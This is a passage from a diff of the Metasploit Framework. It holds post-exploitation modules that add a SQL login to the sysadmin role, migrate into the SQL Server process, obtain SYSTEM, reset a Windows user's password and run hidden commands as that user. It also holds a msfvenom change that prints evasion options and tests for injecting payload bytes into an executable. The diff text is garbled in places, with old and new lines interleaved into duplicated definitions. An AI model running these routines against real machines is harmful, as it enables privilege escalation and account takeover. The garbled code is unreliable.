sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
|
||||
begin select 'bingo' end \""
|
||||
end
|
||||
else
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Running command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
add_sysadmin_result = run_cmd("#{sqlcommand}")
|
||||
|
||||
# Parse Data
|
||||
add_sysadmin_array = add_sysadmin_result.split("\n")
|
||||
|
||||
# Check for success
|
||||
check = 0
|
||||
add_sysadmin_array.each do |service|
|
||||
if service =~ /bingo/ then
|
||||
check = 1
|
||||
end
|
||||
end
|
||||
|
||||
# Display results to user
|
||||
if check == 1
|
||||
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
|
||||
return 1
|
||||
else
|
||||
# Fail
|
||||
print_error("Unabled to add #{dbuser} to sysadmin role")
|
||||
print_error("Database Error:\n\n #{add_sysadmin_result}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for removing login
|
||||
## ----------------------------------------------
|
||||
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
|
||||
|
||||
def remove_sql_login(dbuser, instance_name)
|
||||
print_status("Attempting to remove login \"#{dbuser}\"")
|
||||
query = "sp_droplogin '#{dbuser}'"
|
||||
|
||||
# Setup command format to accomidate command inconsistencies
|
||||
if instance == ""
|
||||
# Check default instance name
|
||||
if service_instance == "SQLEXPRESS" then
|
||||
# Set command here for SQLEXPRESS
|
||||
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
|
||||
else
|
||||
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
|
||||
end
|
||||
else
|
||||
# Set command here
|
||||
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
|
||||
end
|
||||
|
||||
# Display debugging information
|
||||
print_status("Settings:") if verbose == "true"
|
||||
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
|
||||
print_status(" o User: #{dbuser}") if verbose == "true"
|
||||
print_status(" o Service instance: #{service_instance}") if verbose == "true"
|
||||
print_status(" o User defined instance: #{instance}") if verbose == "true"
|
||||
print_status("Command:") if verbose == "true"
|
||||
print_status("#{sqlcommand}") if verbose == "true"
|
||||
|
||||
# Get Data
|
||||
remove_login_result = run_cmd("#{sqlcommand}")
|
||||
|
||||
# Parse Data
|
||||
remove_login_array = remove_login_result.split("\n")
|
||||
|
||||
# Check for success
|
||||
check = 0
|
||||
remove_login_array.each do |service|
|
||||
if service =~ // then
|
||||
check = 1
|
||||
end
|
||||
end
|
||||
remove_login_result = run_sql(query, instance_name)
|
||||
|
||||
# Display result
|
||||
if check == 0
|
||||
if remove_login_result.empty?
|
||||
print_good("Successfully removed login \"#{dbuser}\"")
|
||||
return 1
|
||||
return true
|
||||
else
|
||||
# Fail
|
||||
print_error("Unabled to remove login #{dbuser}")
|
||||
print_error("Database Error:\n\n #{remove_login_result}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for executing cmd and returning the response
|
||||
##
|
||||
## Note: This is from one of Jabra's modules - Thanks man!
|
||||
## Note: This craps out when escalating from local admin to system
|
||||
## I assume it has something to do with the token, but don't
|
||||
## really know.
|
||||
##----------------------------------------------
|
||||
def run_cmd(cmd,token=true)
|
||||
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
|
||||
process = session.sys.process.execute(cmd, nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method for impersonating sql server instance
|
||||
## ----------------------------------------------
|
||||
def impersonate_sql_user(service_instance,verbose)
|
||||
|
||||
# Print the current user
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
|
||||
# Define target user/pid
|
||||
targetuser = ""
|
||||
targetpid = ""
|
||||
|
||||
# Identify SQL Server service processes
|
||||
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
|
||||
session.sys.process.get_processes().each do |x|
|
||||
|
||||
# Search for all sqlservr.exe processes
|
||||
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
|
||||
|
||||
# Found one
|
||||
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
|
||||
|
||||
# Define target pid / user
|
||||
if x['user'] =~ /NT SERVICE/ then
|
||||
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
|
||||
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
|
||||
targetpid = x['pid']
|
||||
end
|
||||
else
|
||||
targetuser = x['user']
|
||||
targetpid = x['pid']
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
if targetuser == "" then
|
||||
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
|
||||
return 0
|
||||
else
|
||||
begin
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_status("Attempting to migrate to process #{targetpid}...")
|
||||
session.core.migrate(targetpid.to_i)
|
||||
|
||||
# Statusing
|
||||
blah = session.sys.config.getuid if verbose == "true"
|
||||
print_status("Current user: #{blah}") if verbose == "true"
|
||||
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
|
||||
return 1
|
||||
rescue
|
||||
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
## ----------------------------------------------
|
||||
## Method to become SYSTEM if required
|
||||
## Note: This is from one of Jabra's modules.
|
||||
## ----------------------------------------------
|
||||
def givemesystem
|
||||
|
||||
# Statusing
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
# Check if user is system
|
||||
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
|
||||
print_good("User is SYSTEM")
|
||||
return 1
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_error("User is NOT SYSTEM")
|
||||
print_status("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status[0]
|
||||
print_good("Success!, user is now SYSTEM")
|
||||
return 1
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,17 +9,18 @@ require 'rex'
|
|||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Runas
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Windows Manage Run Command As User",
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module will login with the specified username/password and execute the
|
||||
supplied command as a hidden process. Output is not returned by default, by setting
|
||||
CMDOUT to false output will be redirected to a temp file and read back in to
|
||||
display.By setting advanced option SETPASS to true, it will reset the users
|
||||
password and then execute the command.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
|
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, 'Username to reset/login with' ]),
|
||||
OptString.new('PASS', [true, 'Password to use' ]),
|
||||
OptString.new('DOMAIN', [true, 'Domain to login with' ]),
|
||||
OptString.new('USER', [true, 'Username to login with' ]),
|
||||
OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
||||
OptString.new('CMD', [true, 'Command to execute' ]),
|
||||
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
|
||||
OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SETPASS', [false, 'Reset password', false])
|
||||
OptBool.new('SETPASS', [true, 'Reset password', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
|
|||
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
|
||||
# need to migrate to a process that is running as
|
||||
# system. If you don't have privs, this exits script.
|
||||
|
||||
def priv_check
|
||||
if is_system?
|
||||
privs = session.sys.config.getprivs
|
||||
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
|
||||
@isadmin = false
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
elsif is_admin?
|
||||
@isadmin = true
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
|
||||
end
|
||||
|
||||
def reset_pass(user,pass)
|
||||
begin
|
||||
tmpout = ""
|
||||
cmd = "cmd.exe /c net user " + user + " " + pass
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
while(d = r.channel.read)
|
||||
tmpout << d
|
||||
break if d == ""
|
||||
false
|
||||
end
|
||||
r.channel.close
|
||||
return true if tmpout.include?("successfully")
|
||||
return false
|
||||
|
||||
def reset_pass(user, password)
|
||||
begin
|
||||
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
|
||||
return tmpout.include?("successfully")
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# set some instance vars
|
||||
@IsAdmin = false
|
||||
@host_info = session.sys.config.sysinfo
|
||||
def touch(path)
|
||||
write_file(path, "")
|
||||
cmd_exec("icacls #{path} /grant Everyone:(F)")
|
||||
end
|
||||
|
||||
def run
|
||||
# Make sure we meet the requirements before running the script, note no need to return
|
||||
# unless error
|
||||
return 0 if session.type != "meterpreter"
|
||||
return unless session.type == "meterpreter"
|
||||
|
||||
pi = nil
|
||||
# check/set vars
|
||||
setpass = datastore["SETPASS"]
|
||||
cmdout = datastore["CMDOUT"]
|
||||
user = datastore["USER"] || nil
|
||||
pass = datastore["PASS"] || nil
|
||||
password = datastore["PASSWORD"] || nil
|
||||
cmd = datastore["CMD"] || nil
|
||||
rg_adv = session.railgun.advapi32
|
||||
domain = datastore['DOMAIN']
|
||||
|
||||
# reset user pass if setpass is true
|
||||
if datastore["SETPASS"]
|
||||
if setpass
|
||||
print_status("Setting user password")
|
||||
if !reset_pass(user,pass)
|
||||
print_error("Error resetting password")
|
||||
return 0
|
||||
end
|
||||
fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
|
||||
end
|
||||
|
||||
# set profile paths
|
||||
sysdrive = session.sys.config.getenv('SYSTEMDRIVE')
|
||||
os = @host_info['OS']
|
||||
profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
|
||||
path = profiles_path + user + "\\"
|
||||
outpath = path + "out.txt"
|
||||
system_temp = get_env('WINDIR') << '\\Temp'
|
||||
outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
|
||||
|
||||
# this is start info struct for a hidden process last two params are std out and in.
|
||||
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
|
||||
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
|
||||
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
|
||||
# Create output file and set permissions so everyone can access
|
||||
touch(outpath)
|
||||
|
||||
#set command string based on cmdout vars
|
||||
cmdstr = "cmd.exe /c #{cmd}"
|
||||
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
|
||||
# Check privs and execute the correct commands
|
||||
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||
# execute command and get output with a poor mans pipe
|
||||
|
||||
# Check privs and execute the correct commands
|
||||
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
|
||||
# execute command and get output with a poor mans pipe
|
||||
if priv_check
|
||||
if @isadmin #local admin
|
||||
print_status("Executing CreateProcessWithLogonW...we are Admin")
|
||||
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
|
||||
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
|
||||
else #system with correct token privs enabled
|
||||
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
|
||||
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
|
||||
"LOGON32_PROVIDER_DEFAULT", 4)
|
||||
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
|
||||
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
|
||||
pi = create_process_as_user(domain, user, password, nil, cmdstr)
|
||||
if pi
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
else
|
||||
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
|
||||
print_error("privs to system and do not have sufficient privileges. If you elevated to")
|
||||
print_error("system, migrate to a process that was started as system (srvhost.exe)")
|
||||
return 0
|
||||
print_status("Executing CreateProcessWithLogonW...")
|
||||
pi = create_process_with_logon(domain, user, password, nil, cmdstr)
|
||||
end
|
||||
|
||||
# Only process file if the process creation was successful, delete when done, give us info
|
||||
# about process
|
||||
if cs["return"]
|
||||
tmpout = ""
|
||||
if cmdout
|
||||
outfile = session.fs.file.new(outpath, "rb")
|
||||
until outfile.eof?
|
||||
tmpout << outfile.read
|
||||
end
|
||||
outfile.close
|
||||
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
|
||||
c.close
|
||||
end
|
||||
if pi
|
||||
tmpout = read_file(outpath) if cmdout
|
||||
|
||||
pi = cs["lpProcessInformation"].unpack("LLLL")
|
||||
print_status("Command Run: #{cmdstr}")
|
||||
print_status("Process Handle: #{pi[0]}")
|
||||
print_status("Thread Handle: #{pi[1]}")
|
||||
print_status("Process Id: #{pi[2]}")
|
||||
print_status("Thread Id: #{pi[3]}")
|
||||
print_line(tmpout)
|
||||
else
|
||||
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
|
||||
return 0
|
||||
vprint_status("Process Handle: #{pi[:process_handle]}")
|
||||
vprint_status("Thread Handle: #{pi[:thread_handle]}")
|
||||
vprint_status("Process Id: #{pi[:process_id]}")
|
||||
vprint_status("Thread Id: #{pi[:thread_id]}")
|
||||
print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
8
msfvenom
8
msfvenom
|
@ -297,8 +297,14 @@ if __FILE__ == $0
|
|||
exit
|
||||
end
|
||||
|
||||
$stderr.puts "Options for #{payload_mod.fullname}\n\n"
|
||||
$stderr.puts "Options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
|
||||
|
||||
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
|
||||
|
||||
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
|
|
@ -8,4 +8,26 @@ describe Metasploit::Framework::LoginScanner::HTTP do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
subject do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:response) { Rex::Proto::Http::Response.new(200, 'OK') }
|
||||
|
||||
before(:each) do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||
end
|
||||
|
||||
describe '#send_request' do
|
||||
context 'when a valid request is sent' do
|
||||
it 'returns a response object' do
|
||||
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -72,14 +72,6 @@ describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
|
|||
end
|
||||
end
|
||||
|
||||
describe '#send_request' do
|
||||
context 'when a valid request is sent' do
|
||||
it 'returns a response object' do
|
||||
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#get_last_sid' do
|
||||
let(:response) do
|
||||
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/exe/segment_appender'
|
||||
|
||||
describe Msf::Exe::SegmentAppender do
|
||||
|
||||
let(:opts) do
|
||||
option_hash = {
|
||||
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||
:arch => :x86
|
||||
}
|
||||
end
|
||||
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
|
||||
|
||||
it { should respond_to :payload }
|
||||
it { should respond_to :template }
|
||||
it { should respond_to :arch }
|
||||
it { should respond_to :processor }
|
||||
it { should respond_to :buffer_register }
|
||||
|
||||
it 'should return the correct processor for the arch' do
|
||||
injector.processor.class.should == Metasm::Ia32
|
||||
injector.arch = :x64
|
||||
injector.processor.class.should == Metasm::X86_64
|
||||
end
|
||||
|
||||
context '#create_thread_stub' do
|
||||
it 'should use edx as a default buffer register' do
|
||||
injector.buffer_register.should == 'edx'
|
||||
end
|
||||
|
||||
context 'when given a non-default buffer register' do
|
||||
let(:opts) do
|
||||
option_hash = {
|
||||
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
|
||||
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
|
||||
:arch => :x86,
|
||||
:buffer_register => 'eax'
|
||||
}
|
||||
end
|
||||
it 'should use the correct buffer register' do
|
||||
injector.buffer_register.should == 'eax'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_pe' do
|
||||
it 'should return a string' do
|
||||
injector.generate_pe.kind_of?(String).should == true
|
||||
end
|
||||
|
||||
it 'should produce a valid PE exe' do
|
||||
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
|
||||
end
|
||||
|
||||
context 'the generated exe' do
|
||||
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
|
||||
it 'should be the propper arch' do
|
||||
exe.bitsize.should == 32
|
||||
end
|
||||
|
||||
it 'should have 5 sections' do
|
||||
exe.sections.count.should == 5
|
||||
end
|
||||
|
||||
it 'should have all the right original section names' do
|
||||
s_names = []
|
||||
exe.sections.collect {|s| s_names << s.name}
|
||||
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
|
||||
end
|
||||
|
||||
it 'should have the last section set to RWX' do
|
||||
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||
end
|
||||
|
||||
it 'should have an entrypoint that points to the last section' do
|
||||
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
|
|||
injector.processor.class.should == Metasm::X86_64
|
||||
end
|
||||
|
||||
context '#payload_as_asm' do
|
||||
it 'should return the payload as declare byte instructions' do
|
||||
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
|
||||
end
|
||||
end
|
||||
|
||||
context '#create_thread_stub' do
|
||||
it 'should use edx as a default buffer register' do
|
||||
injector.buffer_register.should == 'edx'
|
||||
|
|
|
@ -41,7 +41,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
:ua_ver =>'8.0',
|
||||
:arch =>'x86',
|
||||
:office =>'null',
|
||||
:activex =>'true',
|
||||
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
|
||||
:proxy => false,
|
||||
:language => 'en-us',
|
||||
:tried => true
|
||||
|
@ -65,6 +65,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
|||
end
|
||||
end
|
||||
|
||||
describe '#has_bad_activex?' do
|
||||
context 'when there is a bad activex' do
|
||||
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
|
||||
it 'returns false' do
|
||||
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is no bad activex' do
|
||||
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
|
||||
it 'returns true' do
|
||||
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get_bad_requirements" do
|
||||
let(:rejected_requirements) do
|
||||
server.get_bad_requirements(fake_profile)
|
||||
|
|
|
@ -0,0 +1,492 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/windows/mssql'
|
||||
|
||||
describe Msf::Post::Windows::MSSQL do
|
||||
let(:subject) do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
|
||||
stubs.each { |meth| mod.stub(meth) }
|
||||
mod.stub(:service_info).and_return({})
|
||||
mod
|
||||
end
|
||||
|
||||
let(:running_pid) do
|
||||
6541
|
||||
end
|
||||
|
||||
let(:stopped_pid) do
|
||||
0
|
||||
end
|
||||
|
||||
let(:named_instance) do
|
||||
'NamedInstance'
|
||||
end
|
||||
|
||||
# http://blogs.technet.com/b/fort_sql/archive/2010/05/31/list-of-sql-server-service-names.aspx
|
||||
let(:sql_server_7_display) do
|
||||
'MSSQLServer'
|
||||
end
|
||||
|
||||
let(:sql_server_2000_display) do
|
||||
'MSSQLServer'
|
||||
end
|
||||
|
||||
let(:sql_server_2000_named_display) do
|
||||
"MSSQL$#{named_instance}"
|
||||
end
|
||||
|
||||
# Affects 7 and 2000
|
||||
let(:sql_server_analysis_services_display) do
|
||||
'MSSQLServerOLAPService'
|
||||
end
|
||||
|
||||
let(:sql_server_2005_display) do
|
||||
'SQL Server (MSSQLSERVER)'
|
||||
end
|
||||
|
||||
let(:sql_server_2005_named_display) do
|
||||
"MSSQLServer#{named_instance}"
|
||||
end
|
||||
|
||||
let(:sql_server_2008_display) do
|
||||
'SQL Server (MSSQLSERVER)'
|
||||
end
|
||||
|
||||
let(:sql_server_2008_named_display) do
|
||||
"SQL Server (#{named_instance})"
|
||||
end
|
||||
|
||||
# Affects 2005/2008
|
||||
let(:sql_server_agent_display) do
|
||||
"SQL Server Agent (MSSQLServer)"
|
||||
end
|
||||
|
||||
let(:stopped_2k8_sql_instance) do
|
||||
{ display: sql_server_2008_display, pid: stopped_pid }
|
||||
end
|
||||
|
||||
let(:running_2k8_sql_instance) do
|
||||
{ display: sql_server_2008_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_named_2k8_sql_instance) do
|
||||
{ display: sql_server_2008_named_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:stopped_named_2k8_sql_instance) do
|
||||
{ display: sql_server_2008_named_display, pid: stopped_pid }
|
||||
end
|
||||
|
||||
let(:running_sql_server_agent_service) do
|
||||
{ display: sql_server_agent_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_2k5_sql_instance) do
|
||||
{ display: sql_server_2005_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_named_2k5_sql_instance) do
|
||||
{ display: sql_server_2005_named_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_2k_sql_instance) do
|
||||
{ display: sql_server_2000_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_named_2k_sql_instance) do
|
||||
{ display: sql_server_2000_named_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_7_sql_instance) do
|
||||
{ display: sql_server_7_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:running_analysis_service) do
|
||||
{ display: sql_server_analysis_services_display, pid: running_pid }
|
||||
end
|
||||
|
||||
let(:normal_service) do
|
||||
{ display: 'blah', pid: running_pid }
|
||||
end
|
||||
|
||||
describe "#check_for_sqlserver" do
|
||||
let(:instance) do
|
||||
nil
|
||||
end
|
||||
|
||||
context "when instance is nil" do
|
||||
it "should return nil if unable to locate any SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should be_nil
|
||||
end
|
||||
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_2k8_sql_instance
|
||||
end
|
||||
|
||||
it "shouldn't identify a non running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_2k8_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 7 and instance is nil" do
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_7_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2000 and instance is nil" do
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_2k_sql_instance
|
||||
end
|
||||
|
||||
it "should identify a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2005 and instance is nil" do
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_2k5_sql_instance
|
||||
end
|
||||
|
||||
it "should identify a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k5_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when SQL Server 2008 and instance is nil" do
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_2k8_sql_instance
|
||||
end
|
||||
|
||||
it "should identify a named SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k8_sql_instance
|
||||
end
|
||||
end
|
||||
|
||||
context "when instance is supplied" do
|
||||
let(:instance) do
|
||||
named_instance
|
||||
end
|
||||
|
||||
it "should return nil if unable to locate any SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should be_nil
|
||||
end
|
||||
|
||||
it "should identify a running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
|
||||
result.should eq running_named_2k8_sql_instance
|
||||
end
|
||||
|
||||
it "shouldn't identify a non running SQL instance" do
|
||||
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance)
|
||||
result = subject.check_for_sqlserver(instance)
